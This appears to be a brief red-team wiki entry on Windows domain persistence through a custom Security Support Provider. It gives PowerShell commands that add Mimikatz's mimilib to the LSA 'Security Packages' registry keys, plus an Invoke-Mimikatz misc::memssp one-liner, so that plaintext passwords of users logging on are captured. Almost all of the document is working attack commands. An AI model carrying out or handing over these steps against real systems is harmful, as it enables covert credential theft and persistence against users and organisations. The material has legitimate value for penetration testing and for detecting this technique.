DOMAIN PERSISTENCE VIA CUSTOM SSP¶
Custom Security Support Providers (SSPs) can be used to capture plaintext passwords from users that log on. This guide provides steps to set up a custom SSP using a DLL, such as mimilib.dll
from Mimikatz.
STEPS TO SET UP A CUSTOM SSP¶
-
Get Current Security Packages:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages' | select -ExpandProperty 'Security Packages'
-
Append the Custom DLL (e.g., mimilib):
$packages += "mimilib"
-
Update the OSConfig registry key with the new packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages' -Value $packages
-
Update the Lsa registry key with the new packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name 'Security Packages' -Value $packages
-
Alternative Method Using Mimikatz to inject mimilib
Invoke-Mimikatz -Command '"misc::memssp"'